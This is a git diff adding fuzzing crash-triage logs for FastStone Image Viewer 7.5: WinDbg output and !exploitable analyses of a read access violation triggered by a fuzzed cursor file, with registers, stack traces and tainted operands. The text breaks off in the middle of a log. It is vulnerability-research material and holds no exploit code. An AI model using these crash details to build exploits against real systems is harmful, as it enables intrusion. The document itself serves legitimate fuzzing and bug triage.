+INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..4915f36 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1748: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1748: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1748.1a0c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07e77b10 edx=00003879 esi=12768f40 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.724158553165415520000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.021269100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=9.2142e+008 -1.50371e-022 2.13457e-020 -1.21802e-021 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f58130 07ed5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003ad000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003ad000 8fe7cc9d 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62cb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003ad000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..78a800e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21332/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..7c4f337 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..6f104df --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/21803/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1884: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1884: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1884.1ee0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=003fed2d ecx=07f07b10 edx=00003879 esi=ff230010 edi=07d30fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.310187100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.97656e+036 -4.60468e-010 -1.75634e+033 3.23334e+022 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00319000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00319000 22da5f0c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00319000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 